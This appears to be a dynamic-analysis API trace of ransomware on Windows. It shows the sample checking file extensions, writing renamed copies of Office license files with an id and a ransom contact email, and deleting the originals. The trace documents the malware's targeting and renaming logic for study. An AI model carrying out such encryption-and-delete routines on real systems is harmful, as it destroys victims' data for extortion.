	[0200.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0200.229] GetLastError () returned 0x0
	[0200.229] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0200.231] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0200.232] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.232] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0200.232] SetEndOfFile (hFile=0x5c4) returned 1
	[0200.232] CloseHandle (hObject=0x5c4) returned 1
	[0200.232] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.232] SetEndOfFile (hFile=0x5bc) returned 1
	[0200.235] CloseHandle (hObject=0x5bc) returned 1
	[0200.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1
	[0200.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.236] lstrlenW (lpString=".doc") returned 4
	[0200.236] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.236] lstrlenW (lpString=".docx") returned 5
	[0200.237] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.237] lstrlenW (lpString=".pdf") returned 4
	[0200.237] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString=".xls") returned 4
	[0200.237] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString=".xlsx") returned 5
	[0200.237] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.237] lstrlenW (lpString=".ppt") returned 4
	[0200.237] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.237] lstrlenW (lpString=".zip") returned 4
	[0200.237] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString=".rar") returned 4
	[0200.237] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString=".bz2") returned 4
	[0200.237] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString=".7z") returned 3
	[0200.237] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.237] lstrlenW (lpString=".dbf") returned 4
	[0200.237] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.237] lstrlenW (lpString=".1cd") returned 4
	[0200.237] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.237] lstrlenW (lpString=".jpg") returned 4
	[0200.237] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.238] lstrlenW (lpString=".doc") returned 4
	[0200.238] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString=".docx") returned 5
	[0200.238] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.238] lstrlenW (lpString=".pdf") returned 4
	[0200.238] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString=".xls") returned 4
	[0200.238] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString=".xlsx") returned 5
	[0200.238] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.238] lstrlenW (lpString=".ppt") returned 4
	[0200.238] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.238] lstrlenW (lpString=".zip") returned 4
	[0200.238] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString=".rar") returned 4
	[0200.238] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString=".bz2") returned 4
	[0200.238] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString=".7z") returned 3
	[0200.238] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.238] lstrlenW (lpString=".dbf") returned 4
	[0200.238] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.238] lstrlenW (lpString=".1cd") returned 4
	[0200.238] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0200.238] lstrlenW (lpString=".jpg") returned 4
	[0200.238] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.239] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.239] lstrlenW (lpString="O365HomePremR_Subscription3-ppd.xrm-ms") returned 38
	[0200.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.240] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=26541) returned 1
	[0200.240] CloseHandle (hObject=0x5bc) returned 1
	[0200.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220
	[0200.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.240] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.240] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0200.241] GetLastError () returned 0x0
	[0200.241] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0200.244] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0200.245] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.245] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x120, lpOverlapped=0x0) returned 1
	[0200.245] SetEndOfFile (hFile=0x5c4) returned 1
	[0200.246] CloseHandle (hObject=0x5c4) returned 1
	[0200.246] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.246] SetEndOfFile (hFile=0x5bc) returned 1
	[0200.249] CloseHandle (hObject=0x5bc) returned 1
	[0200.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1
	[0200.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.250] lstrlenW (lpString=".doc") returned 4
	[0200.250] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.250] lstrlenW (lpString=".docx") returned 5
	[0200.250] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.250] lstrlenW (lpString=".pdf") returned 4
	[0200.250] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.250] lstrlenW (lpString=".xls") returned 4
	[0200.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.250] lstrlenW (lpString=".xlsx") returned 5
	[0200.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.250] lstrlenW (lpString=".ppt") returned 4
	[0200.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.251] lstrlenW (lpString=".zip") returned 4
	[0200.251] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString=".rar") returned 4
	[0200.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString=".bz2") returned 4
	[0200.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString=".7z") returned 3
	[0200.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.251] lstrlenW (lpString=".dbf") returned 4
	[0200.251] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.251] lstrlenW (lpString=".1cd") returned 4
	[0200.251] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.251] lstrlenW (lpString=".jpg") returned 4
	[0200.251] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.251] lstrlenW (lpString=".doc") returned 4
	[0200.251] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString=".docx") returned 5
	[0200.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.251] lstrlenW (lpString=".pdf") returned 4
	[0200.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString=".xls") returned 4
	[0200.251] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.251] lstrlenW (lpString=".xlsx") returned 5
	[0200.252] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.252] lstrlenW (lpString=".ppt") returned 4
	[0200.252] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.252] lstrlenW (lpString=".zip") returned 4
	[0200.252] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.252] lstrlenW (lpString=".rar") returned 4
	[0200.252] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.252] lstrlenW (lpString=".bz2") returned 4
	[0200.252] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.252] lstrlenW (lpString=".7z") returned 3
	[0200.252] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.252] lstrlenW (lpString=".dbf") returned 4
	[0200.252] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.252] lstrlenW (lpString=".1cd") returned 4
	[0200.252] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0200.252] lstrlenW (lpString=".jpg") returned 4
	[0200.252] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.252] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.252] lstrlenW (lpString="O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 41
	[0200.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.253] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11651) returned 1
	[0200.253] CloseHandle (hObject=0x5bc) returned 1
	[0200.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0200.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.254] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.254] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0200.255] GetLastError () returned 0x0
	[0200.255] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0200.400] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0200.401] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.401] WriteFile (in: hFile=0x5c4, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x126, lpOverlapped=0x0) returned 1
	[0200.402] SetEndOfFile (hFile=0x5c4) returned 1
	[0200.402] CloseHandle (hObject=0x5c4) returned 1
	[0200.402] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.402] SetEndOfFile (hFile=0x5bc) returned 1
	[0200.404] CloseHandle (hObject=0x5bc) returned 1
	[0200.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1
	[0200.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.455] lstrlenW (lpString=".doc") returned 4
	[0200.455] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.455] lstrlenW (lpString=".docx") returned 5
	[0200.455] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.455] lstrlenW (lpString=".pdf") returned 4
	[0200.455] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.455] lstrlenW (lpString=".xls") returned 4
	[0200.455] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.455] lstrlenW (lpString=".xlsx") returned 5
	[0200.455] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.455] lstrlenW (lpString=".ppt") returned 4
	[0200.455] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.455] lstrlenW (lpString=".zip") returned 4
	[0200.455] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString=".rar") returned 4
	[0200.456] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString=".bz2") returned 4
	[0200.456] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString=".7z") returned 3
	[0200.456] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.456] lstrlenW (lpString=".dbf") returned 4
	[0200.456] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.456] lstrlenW (lpString=".1cd") returned 4
	[0200.456] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.456] lstrlenW (lpString=".jpg") returned 4
	[0200.456] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.456] lstrlenW (lpString=".doc") returned 4
	[0200.456] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString=".docx") returned 5
	[0200.456] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.456] lstrlenW (lpString=".pdf") returned 4
	[0200.456] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString=".xls") returned 4
	[0200.456] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.456] lstrlenW (lpString=".xlsx") returned 5
	[0200.456] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.456] lstrlenW (lpString=".ppt") returned 4
	[0200.456] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.457] lstrlenW (lpString=".zip") returned 4
	[0200.457] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.457] lstrlenW (lpString=".rar") returned 4
	[0200.457] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.457] lstrlenW (lpString=".bz2") returned 4
	[0200.457] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.457] lstrlenW (lpString=".7z") returned 3
	[0200.457] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.457] lstrlenW (lpString=".dbf") returned 4
	[0200.457] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.457] lstrlenW (lpString=".1cd") returned 4
	[0200.457] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0200.457] lstrlenW (lpString=".jpg") returned 4
	[0200.457] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.457] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.457] lstrlenW (lpString="O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 41
	[0200.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.458] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11651) returned 1
	[0200.458] CloseHandle (hObject=0x594) returned 1
